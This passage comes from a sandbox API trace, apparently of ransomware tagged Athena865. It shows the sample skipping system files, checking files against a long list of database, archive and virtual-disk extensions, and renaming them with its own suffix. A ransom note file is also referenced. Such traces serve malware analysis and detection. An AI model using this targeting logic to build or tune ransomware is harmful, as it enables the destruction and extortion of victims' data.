lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1171) returned 1 [0050.057] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0050.057] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0050.057] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518920 [0050.057] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0050.057] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0050.058] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0050.058] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7a0, lpName=0x0) returned 0x154 [0050.059] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7a0) returned 0x100000 [0050.060] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0050.061] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0050.061] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0050.061] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0050.061] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0050.061] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x5282a0 [0050.061] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0050.061] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5282a0 | out: hHeap=0x4f0000) returned 1 [0050.061] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0050.061] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50b7a8 [0050.061] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0050.061] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50b7a8 | out: hHeap=0x4f0000) returned 1 [0050.061] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0050.061] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0050.061] CloseHandle (hObject=0x154) returned 1 [0050.061] CloseHandle (hObject=0x17c) returned 1 [0050.061] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0050.062] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518920 | out: hHeap=0x4f0000) returned 1 [0050.062] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0050.062] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eacb1e0, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eacb1e0, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eacb1e0, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x499, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="chucu jadnvk.contact", cAlternateFileName="CHUCUJ~1.CON")) returned 1 [0050.062] lstrcmpiW (lpString1="chucu jadnvk.contact", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0050.062] lstrcmpiW (lpString1="chucu jadnvk.contact", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0050.062] lstrcmpiW (lpString1="chucu jadnvk.contact", lpString2=".") returned 1 [0050.062] lstrcmpiW (lpString1="chucu jadnvk.contact", lpString2="..") returned 1 [0050.062] lstrcmpiW (lpString1="chucu jadnvk.contact", lpString2="windows") returned -1 [0050.062] lstrcmpiW (lpString1="chucu jadnvk.contact", lpString2="bootmgr") returned 1 [0050.062] lstrcmpiW (lpString1="chucu jadnvk.contact", lpString2="temp") returned -1 [0050.062] lstrcmpiW (lpString1="chucu jadnvk.contact", lpString2="pagefile.sys") returned -1 [0050.062] lstrcmpiW (lpString1="chucu jadnvk.contact", lpString2="boot") returned 1 [0050.062] lstrcmpiW (lpString1="chucu jadnvk.contact", lpString2="ids.txt") returned -1 [0050.062] lstrcmpiW (lpString1="chucu jadnvk.contact", lpString2="ntuser.dat") returned -1 [0050.062] lstrcmpiW (lpString1="chucu jadnvk.contact", lpString2="perflogs") returned -1 [0050.062] lstrcmpiW (lpString1="chucu jadnvk.contact", lpString2="MSBuild") returned -1 [0050.062] lstrlenW (lpString="chucu jadnvk.contact") returned 20 [0050.062] lstrcpyW (in: lpString1=0x241e8b8, lpString2="chucu jadnvk.contact" | out: lpString1="chucu jadnvk.contact") returned="chucu jadnvk.contact" [0050.062] lstrlenW (lpString="chucu jadnvk.contact") returned 20 [0050.062] lstrlenW (lpString="Athena865") returned 9 [0050.063] lstrcmpiW (lpString1="k.contact", lpString2="Athena865") returned 1 [0050.063] lstrlenW (lpString=".dll") returned 4 [0050.063] lstrcmpiW (lpString1="chucu jadnvk.contact", lpString2=".dll") returned 1 [0050.063] lstrlenW (lpString=".lnk") returned 4 [0050.063] lstrcmpiW (lpString1="chucu jadnvk.contact", lpString2=".lnk") returned 1 [0050.063] lstrlenW (lpString=".ini") returned 4 [0050.063] lstrcmpiW (lpString1="chucu jadnvk.contact", lpString2=".ini") returned 1 [0050.063] lstrlenW (lpString=".sys") returned 4 [0050.064] lstrcmpiW (lpString1="chucu jadnvk.contact", lpString2=".sys") returned 1 [0050.064] lstrlenW (lpString="chucu jadnvk.contact") returned 20 [0050.064] lstrlenW (lpString="bak") returned 3 [0050.065] lstrcmpiW (lpString1="act", lpString2="bak") returned -1 [0050.065] lstrlenW (lpString="ba_") returned 3 [0050.065] lstrcmpiW (lpString1="act", lpString2="ba_") returned -1 [0050.065] lstrlenW (lpString="dbb") returned 3 [0050.065] lstrcmpiW (lpString1="act", lpString2="dbb") returned -1 [0050.065] lstrlenW (lpString="vmdk") returned 4 [0050.065] lstrcmpiW (lpString1="tact", lpString2="vmdk") returned -1 [0050.065] lstrlenW (lpString="rar") returned 3 [0050.065] lstrcmpiW (lpString1="act", lpString2="rar") returned -1 [0050.065] lstrlenW (lpString="zip") returned 3 [0050.065] lstrcmpiW (lpString1="act", lpString2="zip") returned -1 [0050.065] lstrlenW (lpString="tgz") returned 3 [0050.065] lstrcmpiW (lpString1="act", lpString2="tgz") returned -1 [0050.065] lstrlenW (lpString="vbox") returned 4 [0050.065] lstrcmpiW (lpString1="tact", lpString2="vbox") returned -1 [0050.065] lstrlenW (lpString="vdi") returned 3 [0050.065] lstrcmpiW (lpString1="act", lpString2="vdi") returned -1 [0050.066] lstrlenW (lpString="vhd") returned 3 [0050.066] lstrcmpiW (lpString1="act", lpString2="vhd") returned -1 [0050.066] lstrlenW (lpString="vhdx") returned 4 [0050.066] lstrcmpiW (lpString1="tact", lpString2="vhdx") returned -1 [0050.066] lstrlenW (lpString="avhd") returned 4 [0050.066] lstrcmpiW (lpString1="tact", lpString2="avhd") returned 1 [0050.066] lstrlenW (lpString="db") returned 2 [0050.066] lstrcmpiW (lpString1="ct", lpString2="db") returned -1 [0050.066] lstrlenW (lpString="db2") returned 3 [0050.066] lstrcmpiW (lpString1="act", lpString2="db2") returned -1 [0050.066] lstrlenW (lpString="db3") returned 3 [0050.066] lstrcmpiW (lpString1="act", lpString2="db3") returned -1 [0050.066] lstrlenW (lpString="dbf") returned 3 [0050.066] lstrcmpiW (lpString1="act", lpString2="dbf") returned -1 [0050.066] lstrlenW (lpString="mdf") returned 3 [0050.066] lstrcmpiW (lpString1="act", lpString2="mdf") returned -1 [0050.066] lstrlenW (lpString="mdb") returned 3 [0050.066] lstrcmpiW (lpString1="act", lpString2="mdb") returned -1 [0050.066] lstrlenW (lpString="sql") returned 3 [0050.066] lstrcmpiW (lpString1="act", lpString2="sql") returned -1 [0050.066] lstrlenW (lpString="sqlite") returned 6 [0050.066] lstrcmpiW (lpString1="ontact", lpString2="sqlite") returned -1 [0050.066] lstrlenW (lpString="sqlite3") returned 7 [0050.066] lstrcmpiW (lpString1="contact", lpString2="sqlite3") returned -1 [0050.066] lstrlenW (lpString="sqlitedb") returned 8 [0050.066] lstrcmpiW (lpString1=".contact", lpString2="sqlitedb") returned -1 [0050.066] lstrlenW (lpString="xml") returned 3 [0050.066] lstrcmpiW (lpString1="act", lpString2="xml") returned -1 [0050.066] lstrlenW (lpString="$er") returned 3 [0050.066] lstrcmpiW (lpString1="act", lpString2="$er") returned 1 [0050.066] lstrlenW (lpString="4dd") returned 3 [0050.066] lstrcmpiW (lpString1="act", lpString2="4dd") returned 1 [0050.066] lstrlenW (lpString="4dl") returned 3 [0050.066] lstrcmpiW (lpString1="act", lpString2="4dl") returned 1 [0050.066] lstrlenW (lpString="^^^") returned 3 [0050.067] lstrcmpiW (lpString1="act", lpString2="^^^") returned 1 [0050.067] lstrlenW (lpString="abs") returned 3 [0050.067] lstrcmpiW (lpString1="act", lpString2="abs") returned 1 [0050.067] lstrlenW (lpString="abx") returned 3 [0050.067] lstrcmpiW (lpString1="act", lpString2="abx") returned 1 [0050.067] lstrlenW (lpString="accdb") returned 5 [0050.067] lstrcmpiW (lpString1="ntact", lpString2="accdb") returned 1 [0050.067] lstrlenW (lpString="accdc") returned 5 [0050.067] lstrcmpiW (lpString1="ntact", lpString2="accdc") returned 1 [0050.067] lstrlenW (lpString="accde") returned 5 [0050.067] lstrcmpiW (lpString1="ntact", lpString2="accde") returned 1 [0050.067] lstrlenW (lpString="accdr") returned 5 [0050.067] lstrcmpiW (lpString1="ntact", lpString2="accdr") returned 1 [0050.067] lstrlenW (lpString="accdt") returned 5 [0050.067] lstrcmpiW (lpString1="ntact", lpString2="accdt") returned 1 [0050.067] lstrlenW (lpString="accdw") returned 5 [0050.067] lstrcmpiW (lpString1="ntact", lpString2="accdw") returned 1 [0050.067] lstrlenW (lpString="accft") returned 5 [0050.067] lstrcmpiW (lpString1="ntact", lpString2="accft") returned 1 [0050.067] lstrlenW (lpString="adb") returned 3 [0050.067] lstrcmpiW (lpString1="act", lpString2="adb") returned -1 [0050.067] lstrlenW (lpString="adb") returned 3 [0050.067] lstrcmpiW (lpString1="act", lpString2="adb") returned -1 [0050.067] lstrlenW (lpString="ade") returned 3 [0050.067] lstrcmpiW (lpString1="act", lpString2="ade") returned -1 [0050.067] lstrlenW (lpString="adf") returned 3 [0050.067] lstrcmpiW (lpString1="act", lpString2="adf") returned -1 [0050.067] lstrlenW (lpString="adn") returned 3 [0050.067] lstrcmpiW (lpString1="act", lpString2="adn") returned -1 [0050.067] lstrlenW (lpString="adp") returned 3 [0050.067] lstrcmpiW (lpString1="act", lpString2="adp") returned -1 [0050.067] lstrlenW (lpString="alf") returned 3 [0050.067] lstrcmpiW (lpString1="act", lpString2="alf") returned -1 [0050.067] lstrlenW (lpString="ask") returned 3 [0050.067] lstrcmpiW (lpString1="act", lpString2="ask") returned -1 [0050.068] lstrlenW (lpString="btr") returned 3 [0050.068] lstrcmpiW (lpString1="act", lpString2="btr") returned -1 [0050.068] lstrlenW (lpString="cat") returned 3 [0050.068] lstrcmpiW (lpString1="act", lpString2="cat") returned -1 [0050.068] lstrlenW (lpString="cdb") returned 3 [0050.068] lstrcmpiW (lpString1="act", lpString2="cdb") returned -1 [0050.068] lstrlenW (lpString="ckp") returned 3 [0050.068] lstrcmpiW (lpString1="act", lpString2="ckp") returned -1 [0050.068] lstrlenW (lpString="cma") returned 3 [0050.068] lstrcmpiW (lpString1="act", lpString2="cma") returned -1 [0050.068] lstrlenW (lpString="cpd") returned 3 [0050.068] lstrcmpiW (lpString1="act", lpString2="cpd") returned -1 [0050.068] lstrlenW (lpString="dacpac") returned 6 [0050.068] lstrcmpiW (lpString1="ontact", lpString2="dacpac") returned 1 [0050.068] lstrlenW (lpString="dad") returned 3 [0050.068] lstrcmpiW (lpString1="act", lpString2="dad") returned -1 [0050.068] lstrlenW (lpString="dadiagrams") returned 10 [0050.068] lstrcmpiW (lpString1="vk.contact", lpString2="dadiagrams") returned 1 [0050.068] lstrlenW (lpString="daschema") returned 8 [0050.068] lstrcmpiW (lpString1=".contact", lpString2="daschema") returned -1 [0050.068] lstrlenW (lpString="db-journal") returned 10 [0050.068] lstrcmpiW (lpString1="vk.contact", lpString2="db-journal") returned 1 [0050.068] lstrlenW (lpString="db-shm") returned 6 [0050.068] lstrcmpiW (lpString1="ontact", lpString2="db-shm") returned 1 [0050.068] lstrlenW (lpString="db-wal") returned 6 [0050.068] lstrcmpiW (lpString1="ontact", lpString2="db-wal") returned 1 [0050.068] lstrlenW (lpString="dbc") returned 3 [0050.068] lstrcmpiW (lpString1="act", lpString2="dbc") returned -1 [0050.068] lstrlenW (lpString="dbs") returned 3 [0050.068] lstrcmpiW (lpString1="act", lpString2="dbs") returned -1 [0050.068] lstrlenW (lpString="dbt") returned 3 [0050.068] lstrcmpiW (lpString1="act", lpString2="dbt") returned -1 [0050.068] lstrlenW (lpString="dbv") returned 3 [0050.068] lstrcmpiW (lpString1="act", lpString2="dbv") returned -1 [0050.068] lstrlenW (lpString="dbx") returned 3 [0050.069] lstrcmpiW (lpString1="act", lpString2="dbx") returned -1 [0050.069] lstrlenW (lpString="dcb") returned 3 [0050.069] lstrcmpiW (lpString1="act", lpString2="dcb") returned -1 [0050.069] lstrlenW (lpString="dct") returned 3 [0050.069] lstrcmpiW (lpString1="act", lpString2="dct") returned -1 [0050.069] lstrlenW (lpString="dcx") returned 3 [0050.069] lstrcmpiW (lpString1="act", lpString2="dcx") returned -1 [0050.069] lstrlenW (lpString="ddl") returned 3 [0050.069] lstrcmpiW (lpString1="act", lpString2="ddl") returned -1 [0050.069] lstrlenW (lpString="dlis") returned 4 [0050.069] lstrcmpiW (lpString1="tact", lpString2="dlis") returned 1 [0050.069] lstrlenW (lpString="dp1") returned 3 [0050.069] lstrcmpiW (lpString1="act", lpString2="dp1") returned -1 [0050.069] lstrlenW (lpString="dqy") returned 3 [0050.069] lstrcmpiW (lpString1="act", lpString2="dqy") returned -1 [0050.069] lstrlenW (lpString="dsk") returned 3 [0050.069] lstrcmpiW (lpString1="act", lpString2="dsk") returned -1 [0050.069] lstrlenW (lpString="dsn") returned 3 [0050.069] lstrcmpiW (lpString1="act", lpString2="dsn") returned -1 [0050.069] lstrlenW (lpString="dtsx") returned 4 [0050.069] lstrcmpiW (lpString1="tact", lpString2="dtsx") returned 1 [0050.069] lstrlenW (lpString="dxl") returned 3 [0050.069] lstrcmpiW (lpString1="act", lpString2="dxl") returned -1 [0050.069] lstrlenW (lpString="eco") returned 3 [0050.069] lstrcmpiW (lpString1="act", lpString2="eco") returned -1 [0050.069] lstrlenW (lpString="ecx") returned 3 [0050.069] lstrcmpiW (lpString1="act", lpString2="ecx") returned -1 [0050.069] lstrlenW (lpString="edb") returned 3 [0050.069] lstrcmpiW (lpString1="act", lpString2="edb") returned -1 [0050.069] lstrlenW (lpString="epim") returned 4 [0050.069] lstrcmpiW (lpString1="tact", lpString2="epim") returned 1 [0050.069] lstrlenW (lpString="fcd") returned 3 [0050.069] lstrcmpiW (lpString1="act", lpString2="fcd") returned -1 [0050.069] lstrlenW (lpString="fdb") returned 3 [0050.069] lstrcmpiW (lpString1="act", lpString2="fdb") returned -1 [0050.069] lstrlenW (lpString="fic") returned 3 [0050.070] lstrcmpiW (lpString1="act", lpString2="fic") returned -1 [0050.070] lstrlenW (lpString="flexolibrary") returned 12 [0050.070] lstrcmpiW (lpString1="dnvk.contact", lpString2="flexolibrary") returned -1 [0050.070] lstrlenW (lpString="fm5") returned 3 [0050.070] lstrcmpiW (lpString1="act", lpString2="fm5") returned -1 [0050.070] lstrlenW (lpString="fmp") returned 3 [0050.070] lstrcmpiW (lpString1="act", lpString2="fmp") returned -1 [0050.070] lstrlenW (lpString="fmp12") returned 5 [0050.070] lstrcmpiW (lpString1="ntact", lpString2="fmp12") returned 1 [0050.070] lstrlenW (lpString="fmpsl") returned 5 [0050.070] lstrcmpiW (lpString1="ntact", lpString2="fmpsl") returned 1 [0050.070] lstrlenW (lpString="fol") returned 3 [0050.070] lstrcmpiW (lpString1="act", lpString2="fol") returned -1 [0050.070] lstrlenW (lpString="fp3") returned 3 [0050.070] lstrcmpiW (lpString1="act", lpString2="fp3") returned -1 [0050.070] lstrlenW (lpString="fp4") returned 3 [0050.070] lstrcmpiW (lpString1="act", lpString2="fp4") returned -1 [0050.070] lstrlenW (lpString="fp5") returned 3 [0050.070] lstrcmpiW (lpString1="act", lpString2="fp5") returned -1 [0050.070] lstrlenW (lpString="fp7") returned 3 [0050.070] lstrcmpiW (lpString1="act", lpString2="fp7") returned -1 [0050.070] lstrlenW (lpString="fpt") returned 3 [0050.070] lstrcmpiW (lpString1="act", lpString2="fpt") returned -1 [0050.070] lstrlenW (lpString="frm") returned 3 [0050.070] lstrcmpiW (lpString1="act", lpString2="frm") returned -1 [0050.070] lstrlenW (lpString="gdb") returned 3 [0050.070] lstrcmpiW (lpString1="act", lpString2="gdb") returned -1 [0050.070] lstrlenW (lpString="gdb") returned 3 [0050.070] lstrcmpiW (lpString1="act", lpString2="gdb") returned -1 [0050.070] lstrlenW (lpString="grdb") returned 4 [0050.070] lstrcmpiW (lpString1="tact", lpString2="grdb") returned 1 [0050.070] lstrlenW (lpString="gwi") returned 3 [0050.070] lstrcmpiW (lpString1="act", lpString2="gwi") returned -1 [0050.070] lstrlenW (lpString="hdb") returned 3 [0050.071] lstrcmpiW (lpString1="act", lpString2="hdb") returned -1 [0050.071] lstrlenW (lpString="his") returned 3 [0050.071] lstrcmpiW (lpString1="act", lpString2="his") returned -1 [0050.071] lstrlenW (lpString="ib") returned 2 [0050.071] lstrcmpiW (lpString1="ct", lpString2="ib") returned -1 [0050.071] lstrlenW (lpString="idb") returned 3 [0050.071] lstrcmpiW (lpString1="act", lpString2="idb") returned -1 [0050.071] lstrlenW (lpString="ihx") returned 3 [0050.071] lstrcmpiW (lpString1="act", lpString2="ihx") returned -1 [0050.071] lstrlenW (lpString="itdb") returned 4 [0050.071] lstrcmpiW (lpString1="tact", lpString2="itdb") returned 1 [0050.071] lstrlenW (lpString="itw") returned 3 [0050.071] lstrcmpiW (lpString1="act", lpString2="itw") returned -1 [0050.071] lstrlenW (lpString="jet") returned 3 [0050.071] lstrcmpiW (lpString1="act", lpString2="jet") returned -1 [0050.071] lstrlenW (lpString="jtx") returned 3 [0050.071] lstrcmpiW (lpString1="act", lpString2="jtx") returned -1 [0050.071] lstrlenW (lpString="kdb") returned 3 [0050.071] lstrcmpiW (lpString1="act", lpString2="kdb") returned -1 [0050.071] lstrlenW (lpString="kexi") returned 4 [0050.071] lstrcmpiW (lpString1="tact", lpString2="kexi") returned 1 [0050.071] lstrlenW (lpString="kexic") returned 5 [0050.071] lstrcmpiW (lpString1="ntact", lpString2="kexic") returned 1 [0050.071] lstrlenW (lpString="kexis") returned 5 [0050.071] lstrcmpiW (lpString1="ntact", lpString2="kexis") returned 1 [0050.071] lstrlenW (lpString="lgc") returned 3 [0050.071] lstrcmpiW (lpString1="act", lpString2="lgc") returned -1 [0050.071] lstrlenW (lpString="lwx") returned 3 [0050.071] lstrcmpiW (lpString1="act", lpString2="lwx") returned -1 [0050.071] lstrlenW (lpString="maf") returned 3 [0050.071] lstrcmpiW (lpString1="act", lpString2="maf") returned -1 [0050.071] lstrlenW (lpString="maq") returned 3 [0050.071] lstrcmpiW (lpString1="act", lpString2="maq") returned -1 [0050.072] lstrlenW (lpString="mar") returned 3 [0050.072] lstrcmpiW (lpString1="act", lpString2="mar") returned -1 [0050.072] lstrlenW (lpString="marshal") returned 7 [0050.072] lstrcmpiW (lpString1="contact", lpString2="marshal") returned -1 [0050.072] lstrlenW (lpString="mas") returned 3 [0050.072] lstrcmpiW (lpString1="act", lpString2="mas") returned -1 [0050.072] lstrlenW (lpString="mav") returned 3 [0050.072] lstrcmpiW (lpString1="act", lpString2="mav") returned -1 [0050.072] lstrlenW (lpString="maw") returned 3 [0050.072] lstrcmpiW (lpString1="act", lpString2="maw") returned -1 [0050.072] lstrlenW (lpString="mdbhtml") returned 7 [0050.072] lstrcmpiW (lpString1="contact", lpString2="mdbhtml") returned -1 [0050.072] lstrlenW (lpString="mdn") returned 3 [0050.072] lstrcmpiW (lpString1="act", lpString2="mdn") returned -1 [0050.072] lstrlenW (lpString="mdt") returned 3 [0050.072] lstrcmpiW (lpString1="act", lpString2="mdt") returned -1 [0050.072] lstrlenW (lpString="mfd") returned 3 [0050.072] lstrcmpiW (lpString1="act", lpString2="mfd") returned -1 [0050.072] lstrlenW (lpString="mpd") returned 3 [0050.072] lstrcmpiW (lpString1="act", lpString2="mpd") returned -1 [0050.072] lstrlenW (lpString="mrg") returned 3 [0050.072] lstrcmpiW (lpString1="act", lpString2="mrg") returned -1 [0050.072] lstrlenW (lpString="mud") returned 3 [0050.072] lstrcmpiW (lpString1="act", lpString2="mud") returned -1 [0050.072] lstrlenW (lpString="mwb") returned 3 [0050.072] lstrcmpiW (lpString1="act", lpString2="mwb") returned -1 [0050.072] lstrlenW (lpString="myd") returned 3 [0050.072] lstrcmpiW (lpString1="act", lpString2="myd") returned -1 [0050.072] lstrlenW (lpString="ndf") returned 3 [0050.072] lstrcmpiW (lpString1="act", lpString2="ndf") returned -1 [0050.072] lstrlenW (lpString="nnt") returned 3 [0050.072] lstrcmpiW (lpString1="act", lpString2="nnt") returned -1 [0050.072] lstrlenW (lpString="nrmlib") returned 6 [0050.073] lstrcmpiW (lpString1="ontact", lpString2="nrmlib") returned 1 [0050.073] lstrlenW (lpString="ns2") returned 3 [0050.073] lstrcmpiW (lpString1="act", lpString2="ns2") returned -1 [0050.073] lstrlenW (lpString="ns3") returned 3 [0050.073] lstrcmpiW (lpString1="act", lpString2="ns3") returned -1 [0050.073] lstrlenW (lpString="ns4") returned 3 [0050.073] lstrcmpiW (lpString1="act", lpString2="ns4") returned -1 [0050.073] lstrlenW (lpString="nsf") returned 3 [0050.073] lstrcmpiW (lpString1="act", lpString2="nsf") returned -1 [0050.073] lstrlenW (lpString="nv") returned 2 [0050.073] lstrcmpiW (lpString1="ct", lpString2="nv") returned -1 [0050.073] lstrlenW (lpString="nv2") returned 3 [0050.073] lstrcmpiW (lpString1="act", lpString2="nv2") returned -1 [0050.073] lstrlenW (lpString="nwdb") returned 4 [0050.073] lstrcmpiW (lpString1="tact", lpString2="nwdb") returned 1 [0050.073] lstrlenW (lpString="nyf") returned 3 [0050.073] lstrcmpiW (lpString1="act", lpString2="nyf") returned -1 [0050.073] lstrlenW (lpString="odb") returned 3 [0050.073] lstrcmpiW (lpString1="act", lpString2="odb") returned -1 [0050.073] lstrlenW (lpString="odb") returned 3 [0050.073] lstrcmpiW (lpString1="act", lpString2="odb") returned -1 [0050.073] lstrlenW (lpString="oqy") returned 3 [0050.073] lstrcmpiW (lpString1="act", lpString2="oqy") returned -1 [0050.073] lstrlenW (lpString="ora") returned 3 [0050.073] lstrcmpiW (lpString1="act", lpString2="ora") returned -1 [0050.073] lstrlenW (lpString="orx") returned 3 [0050.073] lstrcmpiW (lpString1="act", lpString2="orx") returned -1 [0050.073] lstrlenW (lpString="owc") returned 3 [0050.073] lstrcmpiW (lpString1="act", lpString2="owc") returned -1 [0050.073] lstrlenW (lpString="p96") returned 3 [0050.073] lstrcmpiW (lpString1="act", lpString2="p96") returned -1 [0050.073] lstrlenW (lpString="p97") returned 3 [0050.073] lstrcmpiW (lpString1="act", lpString2="p97") returned -1 [0050.074] lstrlenW (lpString="pan") returned 3 [0050.074] lstrcmpiW (lpString1="act", lpString2="pan") returned -1 [0050.074] lstrlenW (lpString="pdb") returned 3 [0050.074] lstrcmpiW (lpString1="act", lpString2="pdb") returned -1 [0050.074] lstrlenW (lpString="pdm") returned 3 [0050.074] lstrcmpiW (lpString1="act", lpString2="pdm") returned -1 [0050.074] lstrlenW (lpString="pnz") returned 3 [0050.074] lstrcmpiW (lpString1="act", lpString2="pnz") returned -1 [0050.074] lstrlenW (lpString="qry") returned 3 [0050.074] lstrcmpiW (lpString1="act", lpString2="qry") returned -1 [0050.074] lstrlenW (lpString="qvd") returned 3 [0050.074] lstrcmpiW (lpString1="act", lpString2="qvd") returned -1 [0050.074] lstrlenW (lpString="rbf") returned 3 [0050.074] lstrcmpiW (lpString1="act", lpString2="rbf") returned -1 [0050.074] lstrlenW (lpString="rctd") returned 4 [0050.074] lstrcmpiW (lpString1="tact", lpString2="rctd") returned 1 [0050.074] lstrlenW (lpString="rod") returned 3 [0050.074] lstrcmpiW (lpString1="act", lpString2="rod") returned -1 [0050.074] lstrlenW (lpString="rodx") returned 4 [0050.074] lstrcmpiW (lpString1="tact", lpString2="rodx") returned 1 [0050.074] lstrlenW (lpString="rpd") returned 3 [0050.074] lstrcmpiW (lpString1="act", lpString2="rpd") returned -1 [0050.074] lstrlenW (lpString="rsd") returned 3 [0050.074] lstrcmpiW (lpString1="act", lpString2="rsd") returned -1 [0050.074] lstrlenW (lpString="sas7bdat") returned 8 [0050.074] lstrcmpiW (lpString1=".contact", lpString2="sas7bdat") returned -1 [0050.074] lstrlenW (lpString="sbf") returned 3 [0050.074] lstrcmpiW (lpString1="act", lpString2="sbf") returned -1 [0050.074] lstrlenW (lpString="scx") returned 3 [0050.074] lstrcmpiW (lpString1="act", lpString2="scx") returned -1 [0050.074] lstrlenW (lpString="sdb") returned 3 [0050.074] lstrcmpiW (lpString1="act", lpString2="sdb") returned -1 [0050.075] lstrlenW (lpString="sdc") returned 3 [0050.075] lstrcmpiW (lpString1="act", lpString2="sdc") returned -1 [0050.075] lstrlenW (lpString="sdf") returned 3 [0050.075] lstrcmpiW (lpString1="act", lpString2="sdf") returned -1 [0050.075] lstrlenW (lpString="sis") returned 3 [0050.075] lstrcmpiW (lpString1="act", lpString2="sis") returned -1 [0050.075] lstrlenW (lpString="spq") returned 3 [0050.075] lstrcmpiW (lpString1="act", lpString2="spq") returned -1 [0050.075] lstrlenW (lpString="te") returned 2 [0050.075] lstrcmpiW (lpString1="ct", lpString2="te") returned -1 [0050.075] lstrlenW (lpString="teacher") returned 7 [0050.075] lstrcmpiW (lpString1="contact", lpString2="teacher") returned -1 [0050.075] lstrlenW (lpString="tmd") returned 3 [0050.075] lstrcmpiW (lpString1="act", lpString2="tmd") returned -1 [0050.075] lstrlenW (lpString="tps") returned 3 [0050.075] lstrcmpiW (lpString1="act", lpString2="tps") returned -1 [0050.075] lstrlenW (lpString="trc") returned 3 [0050.075] lstrcmpiW (lpString1="act", lpString2="trc") returned -1 [0050.075] lstrlenW (lpString="trc") returned 3 [0050.075] lstrcmpiW (lpString1="act", lpString2="trc") returned -1 [0050.075] lstrlenW (lpString="trm") returned 3 [0050.075] lstrcmpiW (lpString1="act", lpString2="trm") returned -1 [0050.075] lstrlenW (lpString="udb") returned 3 [0050.075] lstrcmpiW (lpString1="act", lpString2="udb") returned -1 [0050.075] lstrlenW (lpString="udl") returned 3 [0050.075] lstrcmpiW (lpString1="act", lpString2="udl") returned -1 [0050.075] lstrlenW (lpString="usr") returned 3 [0050.075] lstrcmpiW (lpString1="act", lpString2="usr") returned -1 [0050.075] lstrlenW (lpString="v12") returned 3 [0050.075] lstrcmpiW (lpString1="act", lpString2="v12") returned -1 [0050.075] lstrlenW (lpString="vis") returned 3 [0050.075] lstrcmpiW (lpString1="act", lpString2="vis") returned -1 [0050.076] lstrlenW (lpString="vpd") returned 3 [0050.076] lstrcmpiW (lpString1="act", lpString2="vpd") returned -1 [0050.076] lstrlenW (lpString="vvv") returned 3 [0050.076] lstrcmpiW (lpString1="act", lpString2="vvv") returned -1 [0050.076] lstrlenW (lpString="wdb") returned 3 [0050.076] lstrcmpiW (lpString1="act", lpString2="wdb") returned -1 [0050.076] lstrlenW (lpString="wmdb") returned 4 [0050.076] lstrcmpiW (lpString1="tact", lpString2="wmdb") returned -1 [0050.076] lstrlenW (lpString="wrk") returned 3 [0050.076] lstrcmpiW (lpString1="act", lpString2="wrk") returned -1 [0050.076] lstrlenW (lpString="xdb") returned 3 [0050.076] lstrcmpiW (lpString1="act", lpString2="xdb") returned -1 [0050.076] lstrlenW (lpString="xld") returned 3 [0050.076] lstrcmpiW (lpString1="act", lpString2="xld") returned -1 [0050.076] lstrlenW (lpString="xmlff") returned 5 [0050.076] lstrcmpiW (lpString1="ntact", lpString2="xmlff") returned -1 [0050.076] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Contacts\\chucu jadnvk.contact.Athena865") returned 86 [0050.076] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Contacts\\chucu jadnvk.contact" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\contacts\\chucu 